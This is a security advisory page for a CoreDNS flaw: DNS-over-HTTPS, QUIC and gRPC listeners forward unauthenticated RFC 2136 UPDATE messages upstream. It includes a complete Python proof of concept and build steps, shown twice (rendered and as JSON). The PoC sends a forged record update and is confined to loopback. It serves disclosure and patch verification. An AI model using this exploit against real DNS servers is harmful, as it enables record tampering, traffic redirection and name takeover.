GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-9GM5-9RFH-M6VX

Vulnerability from github – Published: 2026-09-17 20:33 – Updated: 2026-09-17 20:33
VLAI
Summary
CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP
Details

Summary

CoreDNS accepted RFC 2136 UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the proxy/forward plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.

If an update-capable upstream trusts CoreDNS's source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.

Details

The affected listeners called dns.Msg.Unpack without the request policy used by the UDP/TCP server:

CoreDNS routed the message using its Zone question without checking the opcode. forward then passed the original message to the upstream.

By contrast, dns.DefaultMsgAcceptFunc allows only QUERY and NOTIFY. The fix applies that policy to the raw header via dnsutil.UnpackRequest before any affected transport dispatches the request.

PoC

The reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the forward plugin may select either transport. It does not contact or modify a real authoritative server.

Clone the repository and build the server:

git clone git@github.com:coredns/coredns.git
cd coredns
git checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main
go build -tags=grpcnotrace -o coredns .

Save this as Corefile.poc:

https://.:8053 {
    bind 127.0.0.1
    tls plugin/tls/test_cert.pem plugin/tls/test_key.pem
    forward . 127.0.0.1:15354
}

Save this as poc.py:

#!/usr/bin/env python3
import argparse
import http.client
import queue
import socket
import ssl
import struct
import threading


OPCODE_UPDATE = 5
TYPE_A = 1
CLASS_IN = 1


def encode_name(name):
    return b"".join(bytes((len(label),)) + label.encode() for label in name.rstrip(".").split(".")) + b"\x00"


def update_message():
    zone = encode_name("example.com.") + struct.pack("!HH", 6, CLASS_IN)
    update = (
        encode_name("foo.example.com.")
        + struct.pack("!HHIH", TYPE_A, CLASS_IN, 300, 4)
        + socket.inet_aton("192.0.2.123")
    )
    header = struct.pack("!HHHHHH", 0x1234, OPCODE_UPDATE << 11, 1, 0, 1, 0)
    return header + zone + update


def read_name(message, offset):
    labels = []
    end = None
    seen = set()
    while True:
        if offset >= len(message) or offset in seen:
            raise ValueError("invalid DNS name")
        seen.add(offset)
        length = message[offset]
        if length & 0xC0 == 0xC0:
            if offset + 1 >= len(message):
                raise ValueError("truncated compression pointer")
            if end is None:
                end = offset + 2
            offset = ((length & 0x3F) << 8) | message[offset + 1]
            continue
        offset += 1
        if length == 0:
            return ".".join(labels) + ".", end if end is not None else offset
        if length & 0xC0 or offset + length > len(message):
            raise ValueError("invalid DNS label")
        labels.append(message[offset : offset + length].decode("ascii"))
        offset += length


def question_end(message, count):
    offset = 12
    for _ in range(count):
        _, offset = read_name(message, offset)
        offset += 4
        if offset > len(message):
            raise ValueError("truncated question")
    return offset


def parse_update(message):
    _, flags, qdcount, _, nscount, _ = struct.unpack_from("!HHHHHH", message)
    if (flags >> 11) & 0xF != OPCODE_UPDATE or qdcount != 1 or nscount < 1:
        return None
    offset = question_end(message, qdcount)
    name, offset = read_name(message, offset)
    rrtype, rrclass, ttl, rdlength = struct.unpack_from("!HHIH", message, offset)
    offset += 10
    rdata = message[offset : offset + rdlength]
    if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4:
        return None
    return name, ttl, socket.inet_ntoa(rdata)


def response_for(message):
    ident, flags, qdcount, _, _, _ = struct.unpack_from("!HHHHHH", message)
    end = question_end(message, qdcount)
    response_flags = flags | 0x8000
    return struct.pack("!HHHHHH", ident, response_flags, qdcount, 0, 0, 0) + message[12:end]


def handle_message(message, peer, received):
    try:
        update = parse_update(message)
        response = response_for(message)
    except (ValueError, struct.error):
        return None
    if update is not None:
        received.put((peer, update))
    return response


def serve_udp(sock, received, stopped):
    while not stopped.is_set():
        try:
            message, peer = sock.recvfrom(65535)
        except socket.timeout:
            continue
        except OSError:
            return
        response = handle_message(message, peer, received)
        if response is not None:
            sock.sendto(response, peer)


def recv_exact(connection, size, stopped):
    data = bytearray()
    while len(data) < size and not stopped.is_set():
        try:
            chunk = connection.recv(size - len(data))
        except socket.timeout:
            continue
        if not chunk:
            return None
        data.extend(chunk)
    return bytes(data) if len(data) == size else None


def serve_tcp(sock, received, stopped):
    while not stopped.is_set():
        try:
            connection, peer = sock.accept()
        except socket.timeout:
            continue
        except OSError:
            return
        with connection:
            connection.settimeout(0.1)
            while not stopped.is_set():
                length = recv_exact(connection, 2, stopped)
                if length is None:
                    break
                message = recv_exact(connection, struct.unpack("!H", length)[0], stopped)
                if message is None:
                    break
                response = handle_message(message, peer, received)
                if response is not None:
                    connection.sendall(struct.pack("!H", len(response)) + response)


def send_doh(host, port, payload, timeout):
    context = ssl._create_unverified_context()
    connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context)
    try:
        connection.request(
            "POST",
            "/dns-query",
            body=payload,
            headers={"Content-Type": "application/dns-message"},
        )
        response = connection.getresponse()
        body = response.read()
        return response.status, len(body)
    finally:
        connection.close()


def main():
    parser = argparse.ArgumentParser(description="Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH")
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=8053)
    parser.add_argument("--upstream-host", default="127.0.0.1")
    parser.add_argument("--upstream-port", type=int, default=15354)
    parser.add_argument("--timeout", type=float, default=2.0)
    parser.add_argument("--expect", choices=("forwarded", "blocked", "either"), default="either")
    args = parser.parse_args()

    received = queue.Queue()
    stopped = threading.Event()
    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_sock.settimeout(0.1)
    udp_sock.bind((args.upstream_host, args.upstream_port))
    tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    tcp_sock.settimeout(0.1)
    tcp_sock.bind((args.upstream_host, args.upstream_port))
    tcp_sock.listen()
    threads = [
        threading.Thread(target=serve_udp, args=(udp_sock, received, stopped), daemon=True),
        threading.Thread(target=serve_tcp, args=(tcp_sock, received, stopped), daemon=True),
    ]
    for thread in threads:
        thread.start()

    payload = update_message()
    try:
        status, response_bytes = send_doh(args.host, args.port, payload, args.timeout)
        try:
            peer, update = received.get(timeout=args.timeout)
        except queue.Empty:
            peer = update = None
    finally:
        stopped.set()
        udp_sock.close()
        tcp_sock.close()
        for thread in threads:
            thread.join(timeout=1)

    print("payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123" % len(payload))
    print("http_status=%d response_bytes=%d" % (status, response_bytes))
    if update is None:
        result = "blocked"
        print("upstream_received_update=false")
    else:
        result = "forwarded"
        name, ttl, address = update
        print("upstream_received_update=true source=%s:%d" % peer)
        print("upstream_record=%s %d IN A %s" % (name, ttl, address))
    print("result=%s" % result)

    if args.expect != "either" and args.expect != result:
        raise SystemExit("expected %s, got %s" % (args.expect, result))


if __name__ == "__main__":
    main()

Start the vulnerable revision:

./coredns -conf Corefile.poc

In a second terminal, run the probe:

$ python3 poc.py --expect forwarded
payload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123
http_status=200 response_bytes=29
upstream_received_update=true source=127.0.0.1:52391
upstream_record=foo.example.com. 300 IN A 192.0.2.123
result=forwarded

The ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.

For comparison, build and start CoreDNS with the fix:

git checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main
go build -tags=grpcnotrace -o coredns-fixed .
./coredns-fixed -conf Corefile.poc

The same probe is rejected before reaching the synthetic upstream:

$ python3 poc.py --expect blocked
payload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123
http_status=400 response_bytes=16
upstream_received_update=false
result=blocked

Impact

Exploitation requires all of the following:

  • an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener
  • the selected proxy/forward target accepts RFC 2136 UPDATE
  • the upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown TSIG

The upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.14.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coredns/coredns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86003"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:33:05Z",
    "nvd_published_at": "2026-09-16T19:17:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nCoreDNS accepted [RFC 2136](https://datatracker.ietf.org/doc/html/rfc2136) UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the `proxy`/`forward` plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.\n\nIf an update-capable upstream trusts CoreDNS\u0027s source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.\n\n### Details\n\nThe affected listeners called `dns.Msg.Unpack` without the request policy used by the UDP/TCP server:\n\n- [DoH and DoH3](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/doh/doh.go#L134-L155)\n- [DoQ](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_quic.go#L212-L219)\n- [DNS-over-gRPC](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_grpc.go#L176-L184)\n\nCoreDNS routed the message using its Zone question without checking the opcode. [`forward`](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/forward/forward.go#L113-L118) then passed the original message to the [upstream](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/proxy/connect.go#L150-L167).\n\nBy contrast, [`dns.DefaultMsgAcceptFunc`](https://github.com/miekg/dns/blob/v1.1.72/acceptfunc.go#L33-L57) allows only QUERY and NOTIFY. The fix applies that policy to the raw header via [`dnsutil.UnpackRequest`](https://github.com/coredns/coredns/blob/530b0a5ff2ad68cc0421f10dd93568945cc671c9/plugin/pkg/dnsutil/message.go#L13-L23) before any affected transport dispatches the request.\n\n### PoC\n\nThe reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the `forward` plugin may select either transport. It does not contact or modify a real authoritative server.\n\nClone the repository and build the server:\n\n```bash\ngit clone git@github.com:coredns/coredns.git\ncd coredns\ngit checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main\ngo build -tags=grpcnotrace -o coredns .\n```\n\nSave this as `Corefile.poc`:\n\n```text\nhttps://.:8053 {\n    bind 127.0.0.1\n    tls plugin/tls/test_cert.pem plugin/tls/test_key.pem\n    forward . 127.0.0.1:15354\n}\n```\n\nSave this as `poc.py`:\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport http.client\nimport queue\nimport socket\nimport ssl\nimport struct\nimport threading\n\n\nOPCODE_UPDATE = 5\nTYPE_A = 1\nCLASS_IN = 1\n\n\ndef encode_name(name):\n    return b\"\".join(bytes((len(label),)) + label.encode() for label in name.rstrip(\".\").split(\".\")) + b\"\\x00\"\n\n\ndef update_message():\n    zone = encode_name(\"example.com.\") + struct.pack(\"!HH\", 6, CLASS_IN)\n    update = (\n        encode_name(\"foo.example.com.\")\n        + struct.pack(\"!HHIH\", TYPE_A, CLASS_IN, 300, 4)\n        + socket.inet_aton(\"192.0.2.123\")\n    )\n    header = struct.pack(\"!HHHHHH\", 0x1234, OPCODE_UPDATE \u003c\u003c 11, 1, 0, 1, 0)\n    return header + zone + update\n\n\ndef read_name(message, offset):\n    labels = []\n    end = None\n    seen = set()\n    while True:\n        if offset \u003e= len(message) or offset in seen:\n            raise ValueError(\"invalid DNS name\")\n        seen.add(offset)\n        length = message[offset]\n        if length \u0026 0xC0 == 0xC0:\n            if offset + 1 \u003e= len(message):\n                raise ValueError(\"truncated compression pointer\")\n            if end is None:\n                end = offset + 2\n            offset = ((length \u0026 0x3F) \u003c\u003c 8) | message[offset + 1]\n            continue\n        offset += 1\n        if length == 0:\n            return \".\".join(labels) + \".\", end if end is not None else offset\n        if length \u0026 0xC0 or offset + length \u003e len(message):\n            raise ValueError(\"invalid DNS label\")\n        labels.append(message[offset : offset + length].decode(\"ascii\"))\n        offset += length\n\n\ndef question_end(message, count):\n    offset = 12\n    for _ in range(count):\n        _, offset = read_name(message, offset)\n        offset += 4\n        if offset \u003e len(message):\n            raise ValueError(\"truncated question\")\n    return offset\n\n\ndef parse_update(message):\n    _, flags, qdcount, _, nscount, _ = struct.unpack_from(\"!HHHHHH\", message)\n    if (flags \u003e\u003e 11) \u0026 0xF != OPCODE_UPDATE or qdcount != 1 or nscount \u003c 1:\n        return None\n    offset = question_end(message, qdcount)\n    name, offset = read_name(message, offset)\n    rrtype, rrclass, ttl, rdlength = struct.unpack_from(\"!HHIH\", message, offset)\n    offset += 10\n    rdata = message[offset : offset + rdlength]\n    if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4:\n        return None\n    return name, ttl, socket.inet_ntoa(rdata)\n\n\ndef response_for(message):\n    ident, flags, qdcount, _, _, _ = struct.unpack_from(\"!HHHHHH\", message)\n    end = question_end(message, qdcount)\n    response_flags = flags | 0x8000\n    return struct.pack(\"!HHHHHH\", ident, response_flags, qdcount, 0, 0, 0) + message[12:end]\n\n\ndef handle_message(message, peer, received):\n    try:\n        update = parse_update(message)\n        response = response_for(message)\n    except (ValueError, struct.error):\n        return None\n    if update is not None:\n        received.put((peer, update))\n    return response\n\n\ndef serve_udp(sock, received, stopped):\n    while not stopped.is_set():\n        try:\n            message, peer = sock.recvfrom(65535)\n        except socket.timeout:\n            continue\n        except OSError:\n            return\n        response = handle_message(message, peer, received)\n        if response is not None:\n            sock.sendto(response, peer)\n\n\ndef recv_exact(connection, size, stopped):\n    data = bytearray()\n    while len(data) \u003c size and not stopped.is_set():\n        try:\n            chunk = connection.recv(size - len(data))\n        except socket.timeout:\n            continue\n        if not chunk:\n            return None\n        data.extend(chunk)\n    return bytes(data) if len(data) == size else None\n\n\ndef serve_tcp(sock, received, stopped):\n    while not stopped.is_set():\n        try:\n            connection, peer = sock.accept()\n        except socket.timeout:\n            continue\n        except OSError:\n            return\n        with connection:\n            connection.settimeout(0.1)\n            while not stopped.is_set():\n                length = recv_exact(connection, 2, stopped)\n                if length is None:\n                    break\n                message = recv_exact(connection, struct.unpack(\"!H\", length)[0], stopped)\n                if message is None:\n                    break\n                response = handle_message(message, peer, received)\n                if response is not None:\n                    connection.sendall(struct.pack(\"!H\", len(response)) + response)\n\n\ndef send_doh(host, port, payload, timeout):\n    context = ssl._create_unverified_context()\n    connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context)\n    try:\n        connection.request(\n            \"POST\",\n            \"/dns-query\",\n            body=payload,\n            headers={\"Content-Type\": \"application/dns-message\"},\n        )\n        response = connection.getresponse()\n        body = response.read()\n        return response.status, len(body)\n    finally:\n        connection.close()\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH\")\n    parser.add_argument(\"--host\", default=\"127.0.0.1\")\n    parser.add_argument(\"--port\", type=int, default=8053)\n    parser.add_argument(\"--upstream-host\", default=\"127.0.0.1\")\n    parser.add_argument(\"--upstream-port\", type=int, default=15354)\n    parser.add_argument(\"--timeout\", type=float, default=2.0)\n    parser.add_argument(\"--expect\", choices=(\"forwarded\", \"blocked\", \"either\"), default=\"either\")\n    args = parser.parse_args()\n\n    received = queue.Queue()\n    stopped = threading.Event()\n    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    udp_sock.settimeout(0.1)\n    udp_sock.bind((args.upstream_host, args.upstream_port))\n    tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    tcp_sock.settimeout(0.1)\n    tcp_sock.bind((args.upstream_host, args.upstream_port))\n    tcp_sock.listen()\n    threads = [\n        threading.Thread(target=serve_udp, args=(udp_sock, received, stopped), daemon=True),\n        threading.Thread(target=serve_tcp, args=(tcp_sock, received, stopped), daemon=True),\n    ]\n    for thread in threads:\n        thread.start()\n\n    payload = update_message()\n    try:\n        status, response_bytes = send_doh(args.host, args.port, payload, args.timeout)\n        try:\n            peer, update = received.get(timeout=args.timeout)\n        except queue.Empty:\n            peer = update = None\n    finally:\n        stopped.set()\n        udp_sock.close()\n        tcp_sock.close()\n        for thread in threads:\n            thread.join(timeout=1)\n\n    print(\"payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\" % len(payload))\n    print(\"http_status=%d response_bytes=%d\" % (status, response_bytes))\n    if update is None:\n        result = \"blocked\"\n        print(\"upstream_received_update=false\")\n    else:\n        result = \"forwarded\"\n        name, ttl, address = update\n        print(\"upstream_received_update=true source=%s:%d\" % peer)\n        print(\"upstream_record=%s %d IN A %s\" % (name, ttl, address))\n    print(\"result=%s\" % result)\n\n    if args.expect != \"either\" and args.expect != result:\n        raise SystemExit(\"expected %s, got %s\" % (args.expect, result))\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nStart the vulnerable revision:\n\n```sh\n./coredns -conf Corefile.poc\n```\n\nIn a second terminal, run the probe:\n\n```console\n$ python3 poc.py --expect forwarded\npayload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=200 response_bytes=29\nupstream_received_update=true source=127.0.0.1:52391\nupstream_record=foo.example.com. 300 IN A 192.0.2.123\nresult=forwarded\n```\n\nThe ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.\n\nFor comparison, build and start CoreDNS with the fix:\n\n```sh\ngit checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main\ngo build -tags=grpcnotrace -o coredns-fixed .\n./coredns-fixed -conf Corefile.poc\n```\n\nThe same probe is rejected before reaching the synthetic upstream:\n\n```console\n$ python3 poc.py --expect blocked\npayload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=400 response_bytes=16\nupstream_received_update=false\nresult=blocked\n```\n\n### Impact\n\nExploitation requires all of the following:\n\n- an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener\n- the selected `proxy`/`forward` target accepts RFC 2136 UPDATE\n- the upstream trusts CoreDNS\u0027s source address or connection and does not require an attacker-unknown TSIG\n\nThe upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.",
  "id": "GHSA-9gm5-9rfh-m6vx",
  "modified": "2026-09-17T20:33:06Z",
  "published": "2026-09-17T20:33:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/security/advisories/GHSA-9gm5-9rfh-m6vx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86003"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/commit/530b0a5ff2ad68cc0421f10dd93568945cc671c9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coredns/coredns"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/releases/tag/v1.14.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…